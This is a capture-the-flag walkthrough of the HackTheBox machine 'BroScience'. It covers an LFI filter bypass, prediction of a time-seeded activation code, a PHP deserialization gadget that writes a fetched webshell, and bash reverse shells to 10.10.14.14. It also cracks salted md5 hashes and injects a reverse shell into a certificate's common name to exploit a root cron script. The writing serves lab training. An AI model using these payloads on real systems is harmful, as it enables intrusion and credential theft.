BroScience Writeup

08 April 2023 #CTF #HTB #box #medium #linux

broscience info

Enumeration

Alright, time for 2 reps of nmap:

$ sudo nmap -p- -T4 -oN enum/fulltcp.nmap 10.10.11.195
[...]
PORT      STATE    SERVICE 
22/tcp    open     ssh
80/tcp    open     http
443/tcp   open     https
[...]
$ ports=$(awk -F/ '/^[0-9]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -p $ports -sCV -oN enum/scripts-tcp.nmap 10.10.11.195
[...]
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 df17c6bab18222d91db5ebff5d3d2cb7 (RSA)
|   256 3f8a56f8958faeafe3ae7eb880f679d2 (ECDSA)
|_  256 3c6575274ae2ef9391374cfdd9d46341 (ED25519)
80/tcp  open  http     Apache httpd 2.4.54
|_http-title: Did not follow redirect to https://broscience.htb/
|_http-server-header: Apache/2.4.54 (Debian)
443/tcp open  ssl/http Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: BroScience : Home
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after:  2023-07-14T19:48:36
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]

HTTP

Since we are redirected to https://broscience.htb it's worth doing a vhost bruteforce, but in this case we don't find anything.

The website is a blog for gyms bros:

gym blog

There's a 'LOG IN' button and we can create an account:

account creation

But it wants an activation link and we don't know how it works yet.

Going back to the index, we can see in the source that img.php is used to pull images:

img.php in HTML source

Foothold

LFI

This file seems like a decent target for a LFI:

lfi try

But it looks like there is some kind of filter in place. We can bypass it by double URL encoding the slash:

get /etc/passwd

We can get index.php at /var/www/html/index.php:

get index.php

It doesn't have anything very interesting but it includes other files:

<?php
[...]
include_once 'includes/utils.php';
[...]
include_once 'includes/db_connect.php';

db_connect.php will be useful later on.

Since we get the raw PHP code, it means the app is using file_get_contents rather than include, so we can't poison the Apache log file to get code execution.

Create Account

We can also get register.php to see how the activation code works:

<?php
[...]
// Create the account
include_once 'includes/utils.php';
$activation_code = generate_activation_code();
$res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');
$res = pg_execute($db_conn, "check_code_unique_query", array($activation_code));

if (pg_num_rows($res) == 0) {
    $res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');
    $res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));

    // TODO: Send the activation link to email
    $activation_link = "https://broscience.htb/activate.php?code={$activation_code}";

    $alert = "Account created. Please check your email for the activation link.";
    $alert_type = "success";
[...]

First it generates an activation code (the function comes from utils.php). Then it will create a new user in the database. To activate the account, we must send the code to /activate.php.

Now let's take a look at utils.php:

<?php
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}
[...]

This function returns a string of 32 alpha-numeric characters chosen randomly. But the seed is predictable (current timestamp) so we can guess the activation code.

We'll copy this function to our box in a file utils.php. We'll add echo generate_activation_code(); at the end to actually output the code.

This shell script will create and activate an account for us:

#!/bin/sh

# create account
curl -o /dev/null -sk https://broscience.htb/register.php -d "username=$1&email=$1@asdf.com&password=asdf&password-confirm=asdf"

# activate account
code=$(php ./utils.php)
curl -o /dev/null -sk "https://broscience.htb/activate.php?code=$code"
echo "account activated with username = '$1' and password = 'asdf'"

First, we create an account on /register.php, then we execute utils.php to get the code and send it to /activate.php.

$ ./generate-code.sh asdf
account activated with username = 'asdf' and password = 'asdf'

We can now log in:

logged in

PHP Deserialization

Now that we are logged in, we have a new cookie 'user-prefs'. If we base64 decode it, we get a PHP serialized object:

$ echo 'Tzo5OiJVc2VyUHJlZnMiOjE6e3M6NToidGhlbWUiO3M6NToibGlnaHQiO30=' | base64 -d
O:9:"UserPrefs":1:{s:5:"theme";s:5:"light";}

The relevant code is in utils.php as well:

<?php
class UserPrefs {
    public $theme;

    public function __construct($theme = "light") {
		$this->theme = $theme;
    }
}
[...]
function get_theme() {
    if (isset($_SESSION['id'])) {
        if (!isset($_COOKIE['user-prefs'])) {
            $up_cookie = base64_encode(serialize(new UserPrefs()));
            setcookie('user-prefs', $up_cookie);
        } else {
            $up_cookie = $_COOKIE['user-prefs'];
        }
        $up = unserialize(base64_decode($up_cookie));
        return $up->theme;
    } else {
        return "light";
    }
}
[...]
class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

We see that our cookie is directly passed to unserialize (after base64 decoding it). Note also the AvatarInterface class which implements the __wakeup() magic function. This function is called whenever an object is unserialized.

With this we can write a file wherever we want (assuming we have permission to). The contents of this file comes from a call to file_get_contents which we control as well.

We can use RFI to include a php webshell from our box and write it to the webroot to access it and execute code.

Here is the php code to generate the base64 encoded serialized object:

<?php
class AvatarInterface {}

$a = new AvatarInterface;
$a->tmp = 'http://10.10.14.14/webshell';
$a->imgPath = '/var/www/html/shell.php';

echo base64_encode((serialize($a)));

Run it:

$ php rfi.php
TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czoyNzoiaHR0cDovLzEwLjEwLjE0LjE0L3dlYnNoZWxsIjtzOjc6ImltZ1BhdGgiO3M6MjM6Ii92YXIvd3d3L2h0bWwvc2hlbGwucGhwIjt9

Now we'll create a very simple php webshell and host it with python:

$ echo '<?php system($_REQUEST["cmd"]); ?>' > webshell
$ sudo python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Update the cookie in the browser and refresh the page to trigger the exploit.

If everything went as planned, we should be able to access our webshell:

rce in webshell

Let's get a reverse shell:

$ curl -k 'https://broscience.htb/shell.php' --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.14.14/443 0>&1"'

Privesc

www-data to bill

We know the web app is using postgres and the creds are in includes/db_connect.php:

www-data@broscience:/var/www/html$ cat includes/db_connect.php
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";
[...]

With this we can access the database and dump the 'users' table:

select username,password,email from users;
   username    |             password             |            email             
---------------+----------------------------------+------------------------------
 administrator | 15657792073e8a843d4f91fc403454e1 | administrator@broscience.htb
 bill          | 13edad4932da9dbb57d9cd15b66ed104 | bill@broscience.htb
 michael       | bd3dad50e2d578ecba87d5fa15ca5f85 | michael@broscience.htb
 john          | a7eed23a7be6fe0d765197b1027453fe | john@broscience.htb
 dmytro        | 5d15340bded5b9395d5d14b9c21bc82b | dmytro@broscience.htb

We get a bunch of salted md5 hashes. We know the salt is prepended to the password (it's in register.php) so we'll use hashcat in mode 20 for that:

$ hashcat -m 20 --user hashes.txt /usr/share/wordlists/rockyou.txt
[...]
$ hashcat -m 20 --user hashes.txt --show          
bill:13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgym
michael:bd3dad50e2d578ecba87d5fa15ca5f85:NaCl:2applesplus2apples
dmytro:5d15340bded5b9395d5d14b9c21bc82b:NaCl:Aaronthehottest

We can now login as bill.

bill to root

After uploading and running pspy on the box we see a cron job running as root:

bill@broscience:/dev/shm$ ./pspy64
[...]
2023/01/29 18:44:01 CMD: UID=0 PID=5978 | timeout 10 /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt
[...]

Here is the script:

#!/bin/bash

if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
    echo "Usage: $0 certificate.crt";
    exit 0;
fi

if [ -f $1 ]; then

    openssl x509 -in $1 -noout -checkend 86400 > /dev/null

    if [ $? -eq 0 ]; then
        echo "No need to renew yet.";
        exit 1;
    fi

    subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)

    country=$(echo $subject | grep -Eo 'C = .{2}')
    state=$(echo $subject | grep -Eo 'ST = .*,')
    locality=$(echo $subject | grep -Eo 'L = .*,')
    organization=$(echo $subject | grep -Eo 'O = .*,')
    organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
    commonName=$(echo $subject | grep -Eo 'CN = .*,?')
    emailAddress=$(openssl x509 -in $1 -noout -email)

    country=${country:4}
    state=$(echo ${state:5} | awk -F, '{print $1}')
    locality=$(echo ${locality:3} | awk -F, '{print $1}')
    organization=$(echo ${organization:4} | awk -F, '{print $1}')
    organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
    commonName=$(echo ${commonName:5} | awk -F, '{print $1}')

    echo $subject;
    echo "";
    echo "Country     => $country";
    echo "State       => $state";
    echo "Locality    => $locality";
    echo "Org Name    => $organization";
    echo "Org Unit    => $organizationUnit";
    echo "Common Name => $commonName";
    echo "Email       => $emailAddress";

    echo -e "\nGenerating certificate...";
    openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
    $state
    $locality
    $organization
    $organizationUnit
    $commonName
    $emailAddress
    " 2>/dev/null

    /bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
    echo "File doesn't exist"
    exit 1;

It takes a certificate as parameter and first checks if the cert expires in a day (86400 seconds) or less. It will then pull information like country name, email address, etc from the cert's subject. Finally, it'll generate a new certificate using this information and place it in /home/bill/Certs with the common name as the filename.

The way we can abuse it is by specifying a command substitution payload in the common name field for the subject of the cert.

The common name is the only field that will get us code execution because it is passed to bash -c at the end. I'm not going to pretend I understand everything that's going on but hey at least it works:

bill@broscience:~/Certs$ openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout ./broscience.key -out ./broscience.crt -days 1
[...]
Common Name (e.g. server FQDN or YOUR name) []:$(bash -i >& /dev/tcp/10.10.14.14/443 0>&1)
[...]

After a minute or two we should get our reverse shell as root:

root@broscience:~# id
uid=0(root) gid=0(root) groups=0(root)

Key Takeaways